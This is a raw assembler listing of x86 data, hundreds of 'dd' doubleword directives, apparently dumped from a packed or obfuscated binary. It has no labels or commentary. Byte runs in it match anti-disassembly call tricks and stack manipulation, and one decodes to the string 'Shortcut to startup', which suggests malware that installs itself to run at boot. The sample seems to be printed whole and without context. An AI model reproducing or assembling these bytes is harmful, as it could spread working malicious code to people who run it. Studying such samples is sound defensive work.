		dd 0D00BC361h, 56308D8Dh, 6A060Ch, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 0CEFFCEC3h, 8B60B868h
		dd 8961F5CEh, 706798Dh,	0C3B70F06h, 2CE585C7h, 5F400607h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 8B3019C3h, 730F59Dh, 585C706h, 6072Dh, 0F000000h
		dd 387h, 5BF85100h, 0C5B589h, 0B5FF0607h, 6070659h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 1AC35545h, 0EB87F351h
		dd 0FF8CC48Eh, 700BD95h, 88B0F06h, 0F000000h, 28Dh, 6A616000h
		dd 0B595FF00h, 8B060716h, 895AEBC0h, 0E2CF70F0h, 0DC5B9550h
		dd 358FE8A2h, 9F02D71Bh, 45FD5349h, 118962C7h, 0D3CD1A7Fh
		dd 0A9F6FE36h, 0D2711F11h, 0F6B40F18h, 0A860A957h, 4E382E5h
		dd 0BE97E67Eh, 0D68F330Eh, 16FAEC5Dh, 7A28C1A4h, 39D00D6Bh
		dd 81CBFB10h, 3F2FD59Dh, 0AF024773h, 939CB53h, 1D0AD90Ch
		dd 11E89Fh, 0D72D0000h,	174A7354h, 0E1CCE665h, 0F8CCAFB5h
		dd 0E92B7B8Eh, 5, 0CFE5FF8Bh, 7E95E01h,	3E000000h, 0FA18B7DCh
		dd 0C681F3AAh, 69A3h, 41858Bh, 0C92B0607h, 38A0Fh, 0B70F0000h
		dd 3134FFC2h, 16158589h, 665F0607h, 81B19EB8h, 57A506C7h
		dd 659D8B20h, 8106070Ch, 0D0D55EF7h, 0E19D035Eh, 8106071Ah
		dd 7957C4EFh, 8AE28030h, 2D9D2357h, 8F060726h, 7E80E04h
		dd 0D9000000h, 1E2319B0h, 0BD29BEA0h, 60704E9h,	6E958h
		dd 4B810000h, 29093CF6h, 4208E981h, 8B661ADDh, 4C181C2h
		dd 0E91ADD42h, 0Ah, 5CAA7D48h, 0F519FAB1h, 0F981F93Fh
		dd 0FFFF9754h, 24850Fh,	6E90000h, 37000000h, 98431866h
		dd 2BE9A8h, 0E08E0000h,	752FEBF6h, 63DAEF24h, 422DC92Eh
		dd 330B2374h, 8D8933FAh, 6072F3Dh
		dd 0FFFF50E9h, 406A71FFh, 79193634h, 0AA9200F0h, 0CD9D8DDBh
		dd 0B8060709h, 39h, 254D8589h, 0E80607h, 58000000h, 0D05h
		dd 0E9038900h, 39h, 0Eh	dup(77E60000h),	2EE9FFh, 43B00000h
		dd 43AAh, 0Ah dup(0)
		dd 4F1E9h, 6BF02700h, 655BF8Dh,	0A5B65A28h, 4219F9C7h
		dd 0DC7F9664h, 0CE0963FEh, 68361447h, 1CFADAEh,	9D6B4912h
		dd 3709E774h, 0C2EACC53h, 956F84D3h, 4E0D04F6h,	2D2EE72Bh
		dd 4E90814Fh, 0AC7396C5h, 7B96DAFDh, 0FABFBDE0h, 0F1683A99h
		dd 4D11F4E3h, 127194C7h, 0E3789E5Ch, 1CFF5CB7h,	7331378Ch
		dd 18FA81A3h, 9D7EC7EEh, 0C188AB5Ah, 2DF71ADEh,	0C7EDC4A6h
		dd 5706497Eh, 0FB60B371h, 3FD4A218h, 37BE361Ch,	7EC7ED55h
		dd 3EB497DAh, 4219F8B6h, 0E3789B5Fh, 1204C2C0h,	74A26649h
		dd 4AB8C4E7h, 6D6AA975h, 0DDD120Ch, 0CA92DE29h,	4D87C4F7h
		dd 8B5937E6h, 31EFD586h, 0DD987BE0h, 0C850F9D0h, 783F217Eh
		dd 87CBC2C3h, 57C9DEh, 19D70000h, 1A7F62F9h, 44D10D04h
		dd 38456817h, 7EC76B60h, 2AD1A688h, 0DE88B15Bh,	7FDC35F3h
		dd 71B2955Ch, 1, 4B100498h, 0F430E428h,	0C76B8B6Dh, 1ECD107Eh
		dd 7038FDFBh, 2F639123h, 0F51DE1C4h, 54C28066h,	3A1DE407h
		dd 6358207Fh, 20FE5DB7h, 0BE9CBF52h, 4A11044Fh,	2A31E327h
		dd 7B404807h, 0F0EE27E5h, 4E153823h, 1DF8BC9Fh,	59E0583Eh
		dd 7EC76B77h, 60D6B9FCh, 0B9DC7F92h, 9DC09B75h,	0A8BC03B1h
		dd 0F3229EAh, 6BA88A11h, 0EA2D7EC7h, 0DCB9583Bh, 0AFDE88B7h
		dd 9Fh,	4A1104D6h, 0F72DE327h, 0C76B8E70h, 21D0137Eh, 8F957D3Bh
		dd 0C76B2608h, 0B968AB7Eh, 62E9CF96h, 7EC76B80h, 24DFC205h
		dd 5C86FDC5h, 3CC4A2B9h, 0A6C9927Eh, 0DD38FCDFh, 0FB175B7Eh
		dd 13AA2DE3h, 0BD65D2CCh, 2A6E9140h, 0DAC06FECh, 0C7767153h
		dd 4B3F67Eh, 7047F5E1h,	88ACCACBh, 6EC1DEh, 4AE80000h
		dd 0BD58868Ch, 5CCEF9Eh, 0A4B75E22h, 85D63D81h,	65F61E62h
		dd 4615FE42h, 20972923h, 492E6273h, 5DFE15D3h, 0CC90733Ah
		dd 4FAA8E49h, 0DB5E8E7Bh, 48F764AFh, 0ED6EA462h, 425940Ah
		dd 1B284B10h, 7EC76B44h, 9640977Ah, 0F2AD6BDDh,	0A4E80BBAh
		dd 428A6770h, 692E7C6Bh, 0D0D897BAh, 9072ACEBh,	0FB71142Bh
		dd 11ADE87h, 41000000h,	2C4F0C04h, 0F3229E8h, 0F42E9503h
		dd 0D7613F1Ch, 2FB69C42h, 78BF84A8h, 302BE6A4h,	0ADCBDCFDh
		dd 65483A27h, 8482A5E8h, 0ED104BC6h, 927F4326h,	0F41DEBC9h
		dd 0FBAE29EAh, 0BD94EAB2h, 38FF22D1h, 0AA686689h, 5133BA6Ah
		dd 0D678BF6Fh, 7401E493h, 78BF6F9Ch, 18C2B9EDh,	0B68462F9h
		dd 99DD005Bh, 7CC0E378h, 5B9FC299h, 9979A5B6h, 13A59FC2h
		dd 4048EFACh, 0E9729F7Bh, 0AD23620Bh, 4968E490h, 8F000001h
		dd 2309D148h, 0C070219Ch, 80A3E678h, 0A1830A82h, 2678C069h
		dd 0D53C00E3h, 37DAA886h, 54BD0124h, 2F25E407h,	694E30B7h
		dd 90D378C0h, 0C2A61DADh, 645387FDh, 0A487C726h, 442A31E0h
		dd 0AACD8E86h, 0E18A00E3h, 0E49053A4h, 74E7h, 8C4A0E00h
		dd 0ECB3D685h, 0CE918909h, 88E31645h, 421169EAh, 3AC1A756h
		dd 0FEC7CD38h, 1BFD84FCh, 59FEC7CDh, 0B57C9FBCh, 0C65A8DD0h
		dd 928C1FF4h, 0BA81FEE1h, 8FA61B5Fh, 384F6E9Ch,	0DFB16FA2h
		dd 0E6E407B6h, 4F72E928h, 0BDE8CA51h, 2A6DFEC7h, 290B987Bh
		dd 0B1FEC7BEh, 0BBE56C31h, 0A4284184h, 0D44A31C1h, 2BB2984Ch
		dd 7EC7F429h, 47CDABEEh, 88h, 9D148E4h,	8BB19C23h, 337678BFh
		dd 139A1210h, 78C04C31h, 9384CE68h, 8368B303h, 0F1D35A40h
		dd 7678BF77h, 858C5033h, 0E72AF8D6h, 903F1CF7h,	778B606Dh
		dd 0A8DC78BFh, 10D54DD3h, 0ADF3D13Eh, 0F3D5CA3Ch, 7878BFE7h
		dd 838E5235h, 0E034F2D8h, 9822987Bh, 0EC735981h, 72B34026h
		dd 2C2FE4A2h, 6689CC49h, 496CEF22h, 74E8CF3Dh, 0D9FC5FB6h
		dd 0AAAF2F12h, 41078E74h, 0BE6CA6E8h, 50159D7Bh, 8CB51E7Ch
		dd 0A90EF13Dh, 2309D148h, 0C551645Eh, 0B6E95C84h, 2A1584D4h
		dd 2AA88B22h, 0BB82DDA3h, 0F4175A78h, 1CFA61B0h, 7598C34Eh
		dd 14EDA968h, 0C7BC84B3h, 8765F61Bh, 0E00358B9h, 0C2E5769Ch
		dd 0A0C3987Eh, 81A4B75Ch, 5F2458h, 0FDD99E0Ch, 1546CA14h
		dd 57BA8866h, 3E5E104h,	82000000h, 13041520h, 30E12548h
		dd 4FC4082Bh, 71A5E90Ch, 9283C7EAh, 0B362A6C9h,	0D14185A8h
		dd 0ED23678Ah, 0D074B6Eh, 682A2B4Eh, 6DD3h, 68241C89h
		dd 43ADh, 68241489h, 6E07h, 51241C89h, 0D60FB5B9h, 0C981416Dh
		dd 431B0BE5h, 0FBADC181h, 87BAE559h, 31533553h,	8B5459CAh
		dd 0C481241Ch, 4, 0D6895655h, 895EF589h, 8B5D086Bh, 8957241Ch
		dd 4C781E7h, 81000000h,	4C7h, 243C8700h, 2434FF5Ch, 4C4835Ah
		dd 0FB1E59E9h, 0A9B8F2FFh, 3060C5Ch, 0DCE0FFC5h, 2D1A2ED1h
		dd 0B7103460h, 0E3095D17h, 0EB4AC41Dh, 5A6B84E9h, 782A6E40h
		dd 0AA1FDA7Fh, 8973260Bh, 0E94EC07Eh, 0AB41F4DDh, 736884FFh
		dd 0F31A9729h, 89190841h, 40673BBBh, 5D743374h,	2646D1A4h
		dd 0BF001516h, 3E3C4B54h, 974FAE28h, 463E90A4h,	6C67DFD8h
		dd 0AB6B9A27h, 947E2856h, 5E0743CEh, 0A52A22Bh,	7C46A199h
		dd 0A474DB6Bh, 0C7298289h, 2B6C4362h, 93531205h, 0E907CD49h
		dd 8Dh,	4D8C0055h, 726F6853h, 74756374h, 206F7420h, 72617473h
		dd 707574h, 1Dh	dup(0)
		dd 0F94E900h, 0D680000h, 0E9060C60h, 0FFFBE256h, 0C613268h
		dd 0E24CE906h, 0DC68FFFBh, 0E9060C62h, 0FFFBE242h, 0C631B68h
		dd 0E238E906h, 0B568FFFBh, 0E9060C63h, 0FFFBE22Eh, 0C643668h
		dd 0E224E906h, 5368FFFBh, 0E9060C68h, 0FFFBE21Ah, 0C6AC968h
		dd 0E210E906h, 0EF68FFFBh, 0E9060C6Bh, 0FFFBE206h, 2AA92277h
		dd 6EEDFEBFh, 0B02FBC03h, 0F6757645h, 3BBAC98Bh, 0FBB934CEh
		dd 0BEFE69E8h, 7541AC2Bh, 0C688F372h, 604534B3h, 4021E2EDh
		dd 69BEF020h, 82D2A3EDh, 0AE259EFFh, 7C53C6EDh,	56264C7Fh
		dd 165CCC2Dh, 21A02B75h, 6CE561ADh, 538FD9F9h, 11CD0F2Ch
		dd 7ED55207h, 3B715ED1h, 3861DFB4h, 0C70867D7h,	0B43B7B54h
		dd 59622DDFh, 0AE1D9AF5h, 1879DAE1h, 3B3C17B4h,	0A4F4DFB4h
		dd 0A60A99DBh, 0E586EA4Bh, 28AC109Bh, 0F9759663h, 0FED4B18h
		dd 0BC732D44h, 36h, 0D638E4E7h,	47A20685h, 0A8F66DE6h
		dd 0F262BD21h, 86D74E97h, 3C109505h, 162C53AFh,	0E7EC89EDh
		dd 0F4DFB4B0h, 960D4613h, 0D757C7C2h, 732DCAF9h, 118A6h
		dd 0A3EDD100h, 7F428D00h, 2190264Ch, 8FEA4E51h,	0C869CD2Eh
		dd 2093F78Ah, 290443DEh, 9BF65A6Dh, 0E7125529h,	5AD4FB6Eh
		dd 0D5FE264Ch, 792DC65h, 0F8B930A3h, 6C7F40E7h,	0B43DAD08h
		dd 7B54C7EAh, 2D264C5Ah, 9DF85C6Fh, 0B7EF720h, 264C5AC4h
		dd 584E50Eh, 4CA1849Eh,	0D7E2AC26h, 18A3ED58h, 64FF41B4h
		dd 6D21A9C9h, 0ED31C333h, 0EC505323h, 44B73091h, 2C53EA24h
		dd 0ECC2387Ah, 963D5C05h, 1F9EC726h, 6AE363ABh,	0AF1C05F7h
		dd 0B52E57D5h, 1C5C7C3Eh, 0B3491F11h, 8A017ADBh, 0CE41BAC9h
		dd 0D5A3C581h, 0D738A8D1h, 0F69B2E6Ch, 13BA9EACh, 0F53A7244h
		dd 0FA00000Ch, 42AD2CBFh, 86F17073h, 0C833B239h, 0E79F88Bh
		dd 51BE3D4Ch, 677A38B1h, 0AA3D7DE8h, 0F1F4C02Bh, 32B90772h
		dd 6CDFC4B3h, 20401F63h, 0EDE83D6Fh, 5AA31CAFh,	4C7FE8E7h
		dd 0DEB0EA26h, 0A67F61C4h, 5FC03091h, 9BD9AAF4h, 0D2ED9608h
		dd 0C954B9F0h, 35ACE968h, 94006467h, 2E0E5C8Fh,	0B12182D3h
		dd 5FD21B68h, 264C7F70h, 37C93962h, 57682997h, 0C60A7DF6h
		dd 102C53AFh, 622C6EE7h, 703B65D9h, 0D5D4A64Dh,	49821F65h
		dd 8ADFB405h, 0FF82D047h, 6BC9968Fh, 732D758Dh,	0C53Ah
		dd 93DC5300h, 0D949A408h, 18A3ED90h, 424113B4h,	7D0C52C9h
		dd 102AC70Dh, 38264C84h, 73EA6376h, 0E43FA320h,	468733Dh
		dd 6DD839A9h, 8A349823h, 0D649C242h, 0D3AC72D6h, 7F50C30Ch
		dd 53DFB48Eh, 325BBA2Ah, 0B8F970B9h, 0C568C327h, 0DFB48E8Ah
		dd 65C9D09Eh, 0F3538D0Ah, 14E4F4EEh, 667D738h, 51CA4A92h
		dd 0AE2A1FDEh, 0AD264FD5h, 4F292264h, 75CF72Ch,	3D4C0E97h
		dd 820153BEh, 0BB8E81DDh, 4B835513h, 0BD0h, 0D2515A1Fh
		dd 16951667h, 58D7E4ABh, 9E1DAEEDh, 0E3626133h,	13618C76h
		dd 0D6A61190h, 0ADE954D3h, 6E309B1Ah, 8EDDC5Bh,	401EBA95h
		dd 11669820h, 9D1CAFEDh, 0E45D6C32h, 2898236Dh,	0A41B9CC7h
		dd 126DD1D4h, 445719A2h, 52713FE0h, 4C7FF0DFh, 2773E226h
		dd 63E243A4h, 0AE272FEFh, 1CAFEE65h, 434817B8h,	0B32384DFh
		dd 53A0A62Eh, 168FB82Ch, 0A1755ACDh, 345DDFB4h,	0C20B7EC4h
		dd 0B4A1004Fh, 596C28DFh, 0F41D9AF5h, 0A1D4FF84h, 2607DFB4h
		dd 0DA1DFB59h, 7CA732Dh, 0F5000000h, 7F856h, 38E4A900h
		dd 2830A31Ch, 6A2C539Fh, 0C428BBFBh, 188F0869h,	7CD14356h
		dd 94773D24h, 2093D949h, 751172DEh, 0F2C3E3B7h,	972090F1h
		dd 0D843C2C9h, 0EAFDBD96h, 0E8B92B86h, 8AFB975h, 1FBC2081h
		dd 7468A36Ah, 0EE27F425h, 32A22977h, 55D4E7A9h,	0B115A4EAh
		dd 0FFA23814h, 85FCF7B4h, 4C45B536h, 8AFD467Fh,	0B4FFA245h
		dd 6BF4648Dh, 0AC179625h, 0D673D7E2h, 0B4FFA2FEh, 512097E8h
		dd 1F8FEA4Eh, 0A9205926h, 975D9EAh, 3762BE21h, 7AEA4BE2h
		dd 9D1CAFF1h, 0F95D6C32h, 30768F4Fh, 69B973C9h,	0BE31AA0Bh
		dd 0BEE0F152h, 565CDB04h, 0DF67A74Eh, 0C4A3F366h, 0B7F9A0FFh
		dd 73AB3FEEh, 0B61585E1h, 0B2AC098Dh, 8D82F897h, 0D94CC541h
		dd 84C68425h, 2FA2062Fh, 0A729A6EDh, 7F412475h,	99B0B6Ch
		dd 26F930C5h, 0C97C69F8h, 367CEF68h, 648ED889h,	0A4BC23Bh
		dd 37AE0979h, 78E36269h, 28FEA336h, 207CD6DBh, 0A26164Eh
		dd 8CC90000h, 40117CFBh, 0A55C03Fh, 0C4970281h,	9FDD48C7h
		dd 0E2208D0Ch, 0B736B507h, 0FA790C4Ch, 41C0CB8Fh, 820188D6h
		dd 143BAE93h, 3E20401Dh, 0A3EDB70Ch, 23837318h,	0C193E055h
		dd 9E789h, 3A4D0800h, 7E0150BBh, 0C0CB94FFh, 685D641h
		dd 4B5E1C87h, 4AA35FCCh, 8FFA7908h, 0D23DBCCFh,	19840386h
		dd 0D6C54457h, 1C517EF1h, 4F812040h, 18A3EDFAh,	8BCA41B4h
		dd 0C93994F8h, 0F06F7240h, 9B43D2EAh, 3F8F027Bh, 912C53ABh
		dd 6DADEF68h, 697A399Fh, 8A38AA05h, 6937DE26h, 598CF262h
		dd 0AF1396E2h, 4F5FE454h, 6E11F1E5h, 901360AEh,	0F770D12Ch
		dd 69709884h, 4DB1DA14h, 62DB7BA3h, 653485EFh, 35AED71Eh
		dd 6AE9F0BEh, 852AB1FFh, 0CC7C7097h, 4D81B98Bh,	0A2000009h
		dd 0EA55D4D7h, 2E9918ABh, 70DB5A61h, 0B621A023h, 0F966E5E4h
		dd 0F92E009h, 52552590h, 992C68D3h, 0DAE1AF1Ah,	14876C5Bh
		dd 20401C3Bh, 1B90E517h, 45E444D9h, 3C7FC6F3h, 8FF04BAFh
		dd 0C1C8961Fh, 0EDF8BC5Dh, 0B768076Eh, 5777264Ch, 6EC336AFh
		dd 282C5814h, 410F86FFh, 14A0AF22h, 89B2DFB8h, 703EA928h
		dd 3B79F069h, 79E944A8h, 0C1C09233h, 0EDF8BC5Dh, 0A148C448h
		dd 0BEF6C819h, 8CCh, 0D6555623h, 1A992A6Bh, 5CDBE0AFh
		dd 0A221A2F1h, 0E7666537h, 1F5D887Ah, 0D2A20D8Ch, 91E550CFh
		dd 622C9716h, 4E9D857h,	401BBE91h, 0D629420h, 7D07A3EDh
		dd 90FABE48h, 96096DCEh, 4EFC4F54h, 0E9598C05h,	278B1E60h
		dd 4FB33686h, 78DCEFAEh, 577845DEh, 7745BCB7h, 3E0B0474h
		dd 77EA89D7h, 264CF958h, 71F0517Ah, 3582310Fh, 0D8980F79h
		dd 7BEE61C5h, 264CF554h, 84F4557Eh, 514F8h, 38E42300h
		dd 0FD30A31Ch, 952C58DCh, 0B0575226h, 1F7ADEE1h, 0BAFC45BEh
		dd 65D87B9Ch, 0DFBF126Ah, 0E5CD3F68h, 0BE47B734h, 0F66AE9F0h
		dd 32CF33D1h, 664BC9A8h, 43D0AEBh, 54B8C38Dh, 2B0989F9h
		dd 9F9BBB5h, 3D7CC192h,	8AEB46AAh, 538E1Ah, 0E4B90000h
		dd 35A8213Fh, 264C7F1Ah, 0F0FBC53Ch, 94F82180h,	0B3E198F7h
		dd 0BEC19046h, 0D5F9B95Ah, 0B5A90AA0h, 266C704h, 2E921561h
		dd 0B78449D3h, 6C391A96h, 0E8F3BC33h, 39B92984h, 58CD115Bh
		dd 1008h, 0D2563300h, 97000001h, 0DC69DB55h, 0FC6CC458h
		dd 213FE4B3h, 0EB9A20BDh, 96D99FB8h, 68C36154h,	499BCE98h
		dd 3969DB0Fh, 0E2DB4BF5h, 0DED9B715h, 2486FFC8h, 0B1000000h
		dd 0BD213FE4h, 0B8EB7B20h, 0F982CD9Fh, 25A0F495h, 754273C1h
		dd 2AF7D854h, 0C892EECCh, 619DFFh, 1BC80000h, 0FD143D9h
		dd 7BD63A41h, 43F0F109h, 7E9A41D3h, 95BD9205h, 2299264Ch
		dd 8FEA4E5Dh, 3B97C01Fh, 43A765BFh, 0BE94714h, 0B87935A9h
		dd 2Fh,	213FE4E3h, 7F6435A8h, 0D36264Ch, 0FE9C26F0h, 27C82CBFh
		dd 0D3EF5358h, 3A50713Eh, 8462C08Dh, 337934FFh,	7, 11F565Eh
		dd 1BA90000h, 6BCFDAA4h, 0E080A010h, 0C1000000h, 7FCA0578h
		dd 0DF08264Ch, 3FE4266Fh, 8620BD21h, 0CD7B9CC2h, 0E3C11FECh
		dd 9023E4BBh, 90h, 213FE4BBh, 7F1A35A8h, 0F38264Ch, 0ACA50EABh
		dd 15F6466Ch, 0CF0CEA48h, 62BB5914h, 0D4000000h, 2A8E195Dh
		dd 55B6C989h, 0D21B9CE5h, 4C7F705Fh, 0C9396226h, 0FB749037h
		dd 4C7F4788h, 144D8F26h, 25494DE0h, 20ABF49Bh, 92F161BCh
		dd 50920569h, 1BC20D83h, 57682954h, 0AA0186F6h,	0E9936C82h
		dd 0FFDD3B08h, 0AC0C1500h, 24h,	68004EC5h, 0CBFA97FBh
		dd 45BE1F19h, 0AC98FDD2h, 3CACD5B4h, 31D91BF3h,	84CE3247h
		dd 6292B222h, 0E5000000h, 80D2A3EDh, 0E1429D01h, 7FECE07Dh
		dd 0FEBC264Ch, 96E687EBh, 7C15AF13h, 750848AFh,	0A673DC14h
		dd 0EB6A713Fh, 0DDF265AEh, 0F5264C7Fh, 0E4135CCCh, 3A04213Fh
		dd 60D7E6EBh, 221B8B1Eh, 8C9BF255h, 5ED7264Ch, 87FA99E7h
		dd 0D9B38C48h, 9000618Ah, 34F33310h, 0FF00DE79h, 5609FFFFh
		dd 2A9h, 48D91BA9h, 5D2A59E4h, 7D43CC3Ch, 0F2566928h, 1EA1F097h
		dd 0A4E659BDh, 0E2E83BE1h, 0FD86F63Dh, 35A928B3h, 0EDE255E9h
		dd 0E5264CB4h, 414A15BCh, 0A82182DDh, 53441535h, 0BA1E472Ch
		dd 0B5C4361Dh, 27BAFADFh, 4F5222C3h, 0F08B7FEBh, 0D130F9CCh
		dd 0AACB9831h, 22804D2Eh, 732E3944h, 4BF3h, 38E41E00h
		dd 1C30A31Ch, 3A2C53AFh, 7A863BF8h, 0F36C4418h,	0B42D4F80h
		dd 0EA5A83DFh, 0A7E9628Bh, 9613E696h, 76BC2CCFh, 0B4AAF2D9h
		dd 3300E1DFh, 693C83FAh, 0DB369A2Dh, 4BBB167Ah,	2DD0EDCBh
		dd 0B54CB73h, 0BF841080h, 0AF000000h, 0B418A3EDh, 32314113h
		dd 0D9A233F2h, 40B31778h, 7DF689C9h, 4CB0C50Ah,	74E40D26h
		dd 9D16A5EBh, 0AD545726h, 276DDDEEh, 32B13886h,	0AC3F7EF5h
		dd 0D5D6A748h, 657F0474h, 8D264C4Bh, 0C539B8C3h, 0E2E9B719h
		dd 49C2237Eh, 0DB6E9E07h, 0D545A133h, 1DEF317Ah, 0BCF51E86h
		dd 8FF0F3C3h, 9BC59A1Fh, 648D2C56h, 5D2674EBh, 0C9248813h
		dd 3C7EE968h, 772D2295h, 0FC25DFBBh, 2CE8F69Bh,	1EF019A2h
		dd 4AFE6h, 72754000h, 0B6C988F3h, 0F883CC37h, 3E4D0E79h
		dd 830654BFh, 826B9704h, 0C732B130h, 0A75F4F7h,	51BC3B4Eh
		dd 0EFD7C0Fh, 1799B629h, 87B92040h, 1CAFED32h, 5D6C329Dh
		dd 0A3EDB3DEh, 58FF82D2h, 0BF238417h, 0CA49501Eh, 158EB656h
		dd 53826EA2h, 66AAEC2Ch, 0CCA76947h, 0C1EA49B9h, 0FC8FD148h
		dd 0A4A9468Ch, 8BDFB445h, 75EC25F2h, 0B92CA526h, 0DFB44596h
		dd 912393BCh, 0DD50C94Dh, 0D5ABB831h, 0A81FA23h, 66C7374Ah
		dd 0B12A2AF2h, 0A9EBF33Eh, 17AA3DFh, 717241B8h,	9840B20Dh
		dd 685BDB1Ah, 2B74FD6Dh, 0EFBA21A0h, 0BBCBA8E1h, 99B62972h
		dd 0B9CBA8E1h, 0E1E2ED90h, 0B6F0CBA8h, 957352B0h, 1686E756h
		dd 3FBEC98Dh, 633Dh, 0B6077E00h, 676D135h, 7FDAF1BDh, 85FC264Ch
		dd 400EB536h, 0A7AD539h, 35B45078h, 0EA99B6F8h,	0AEC0B2DCh
		dd 4C89143Bh, 0B4153E26h, 0E7F4BB44h, 9DB2256Eh, 0B5264C89h
		dd 63D61C8Ch, 36A13521h, 64D42A80h, 4C43F0DFh, 4310D526h
		dd 890893DCh, 48095A1Eh, 0D572D637h, 264C43F9h,	0B41BE8EFh
		dd 3B66E5E0h, 87F9D91Bh, 0FF66ABFAh, 37B2068Fh,	636632D3h
		dd 0FFCC65FFh, 3EB1DC98h, 264C1311h, 386D241h, 71E3449Fh
		dd 0A98F968Eh, 1B9AFB6Fh, 4CE793B4h, 0EB62DB26h, 32CB0AA8h
		dd 652E110Eh, 37149404h, 0E2793524h, 0FFFFFF5Dh, 18A3ED0Dh
		dd 8BCA41B4h, 0B1FF88F8h, 0B21396E4h, 0F71FBF33h, 21B9077Eh
		dd 0DF518CF0h, 60D03170h, 0E5B29205h, 35A42C53h, 0A1056661h
		dd 0B525CF04h, 5E2B0CDFh, 2E5A2200h, 4DD173h, 0E4FC0000h
		dd 0BB88D638h, 2C87EBF8h, 0A8F16ACBh, 8D90566h,	9A0AF0B6h
		dd 53693915h, 8EF21B2Ch, 0B5E9DAF1h, 0FD8CCEDFh, 15B9F899h
		dd 26FB80FAh, 0C72B8CCDh, 284916ABh, 1A2769ACh,	0C663878Fh
		dd 7F4C45B5h, 2EC74321h, 0B7F073h, 0ED1B0000h, 428D00A3h
		dd 90264C7Fh, 1A20667h,	2BCC30B3h, 0DA5A4565h, 0CB1FB99Bh
		dd 1B65066Ah, 1276054Ah, 70D756B7h, 264C916Ah, 2AA9307Eh
		dd 0DAA4F1BFh, 0AF106BCFh, 0D97DA14Bh, 0B545ED60h, 6E972C53h
		dd 0B3537BEFh, 0AEAFF13Ah, 0B3EEABFEh, 0A6FF84F4h, 0F8D5AE85h
		dd 9DDF56CFh, 9528F0Eh,	0A283B996h, 7099D5h, 1A62577h
		dd 13BBD8F9h, 39E31BEDh, 0B6000002h, 0FE69E8E3h, 42AD2CBFh
		dd 84EF6E7Dh, 0CA35B437h, 0D7AF988h, 2BBEFCF5h,	6E7141ACh
		dd 0B53084EFh, 0F685CB36h, 30A38877h, 2040151Fh, 0EDAC0133h
		dd 329D1CAFh, 0A2E45D6Ch, 66C52742h, 67C8380Eh,	1C38E43Ch
		dd 0AF1C30A3h, 0F13A2C53h, 0B4AF517Eh, 0A6038CDFh, 0C2A9EE42h
		dd 4DAC1C45h, 2823C024h, 0DFB4C8h, 2ACB2FB2h, 5BF55968h
		dd 58D4F5C2h, 6E4CAA77h, 1D732DB2h, 108h, 0F0FBBF36h, 45B8318Ch
		dd 0DFB4C40Ah, 66AF1F48h, 86D2A3EDh, 0B92C9F03h, 264C7F96h
		dd 0D13293BCh, 0FB8ECC6Dh, 89C63982h, 0C9264C7Fh, 9BB427A0h
		dd 0B7264C7Fh, 3BD81E8Eh, 264C8421h, 2CBF0077h,	41B13A85h
		dd 64E3F6B8h, 0C024B7F9h, 553DF616h, 911261ECh,	2C60D22Dh
		dd 0B1422F64h, 7B37A9BFh, 212EA11Ah, 31D9B341h,	0BB2EA708h
		dd 0D3AC9B33h, 3A082769h, 0B0905E8Dh, 39B8E140h, 0BBEC19C5h
		dd 0A5DBA70h, 297D3FB1h, 0EA83A3Eh, 5BC134ADh, 19D5AE89h
		dd 0B20077F0h, 7745B02Fh, 0DB55CF74h, 0DBAD13BBh, 113A3h
		dd 0E99DC00h, 5255248Fh, 942768D3h, 0DAE9AA15h,	1FA2F05Bh
		dd 16CF33A0h, 5BC64544h, 9E09881Bh, 0E550CFDAh,	0A291109Bh
		dd 14054ABDh, 1B4D2040h, 0DAA41BC6h, 56BACD89h,	33289AFBh
		dd 852A329Ah, 0B7058EFEh, 2F78B534h, 4CE393BCh,	2696BF26h
		dd 39B0D39Dh, 8AC5687Bh, 0C8264CE3h, 94BF3E9Fh,	0B418A3EDh
		dd 0C53E4D13h, 14EA0483h, 83DE4245h, 535A0111h,	0CE0E82E3h
		dd 935ACD46h, 0C72C588Ch, 0A96F0350h, 0E0EBAA93h, 0C73A9EFFh
		dd 0BFE17B54h, 0CD2E57DFh, 0E7575226h, 88FB5F88h, 0E183CC3Fh
		dd 0DAA5DFBFh, 0BB2B54D1h, 0DE5D6C32h, 3A9E2D73h, 0C40B7EC7h
		dd 0EDFBFE1h, 57F075E5h, 51883F73h, 7C1D8102h, 0BF43A732h
		dd 0B80C2DFAh, 0D53BA87h, 4FDCF366h, 0CDF6883Fh, 4FEEE154h
		dd 0BBE4883Fh, 2E70DB5Ah, 0C596379Bh, 91044DC6h, 883F4FBEh
		dd 3195246Ah, 0C03059D6h, 6431F67Ah, 9D10B3FDh,	883F4FB2h
		dd 971677A0h, 0F357622Ch, 3BBh,	956A0E00h, 0BB1FA8EDh
		dd 0E145541Ah, 0D717440h, 35992C6Ch, 5FC3C694h,	89EDFCBEh
		dd 0B418ABE8h, 0DB3F4C13h, 4687B3Ah, 4EC8190h, 89000000h
		dd 0E589242Ch, 4C581h, 0ED830000h, 242C8704h, 5E56685Ch
		dd 0C890000h, 0E2895224h, 4C281h, 0EA830000h, 24148704h
		dd 241C895Ch, 57D568h, 241C8900h, 29160168h, 0C3815B6Ah
		dd 15922D16h, 8104E3C1h, 0B86FFAF3h, 5BD989FDh,	241C8B54h
		dd 5204C483h, 24048151h, 7C36783Fh, 3FEA815Ah, 897C3678h
		dd 0FF5A0853h, 815B2434h, 4C4h,	240C8B00h, 81E28952h, 4C2h
		dd 4C28300h, 5C241487h,	0FBD2D9E9h, 83679FFFh, 7190E631h
		dd 0F436197Dh, 27B822C6h, 3060C6Dh, 3AE0FFC5h, 0BC47F203h
		dd 0DC486F1Bh, 0CD0CD331h, 0F53B0580h, 8B2BED75h, 0C2474373h
		dd 44CC38h, 0B47C513Fh,	10E9D8Dh, 0E67552D4h, 0E055667Ah
		dd 9E33F7CBh, 55283247h, 915F7806h, 0DD781689h,	5E05C791h
		dd 91788CEEh, 1049D502h, 0C3414E5Ch, 165BAAAh, 1B4D09A3h
		dd 30E2A87h, 8D497EA9h
		dd 0C6ECC8Dh, 91858B06h, 0BE060710h, 3AD18F9Ch,	6798D89h
		dd 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 0C70C22C3h, 72CE585h, 6C6806h, 0F9B70F00h
		dd 2D0585C7h, 607h, 6A0000h, 3E857h, 5F200000h,	7C895FC3h
		dd 44810424h, 150424h, 57470000h, 0FF1311C3h, 721C9B5h
		dd 91B58906h, 60060720h, 0B99D3153h, 5A06071Fh,	1A79952Bh
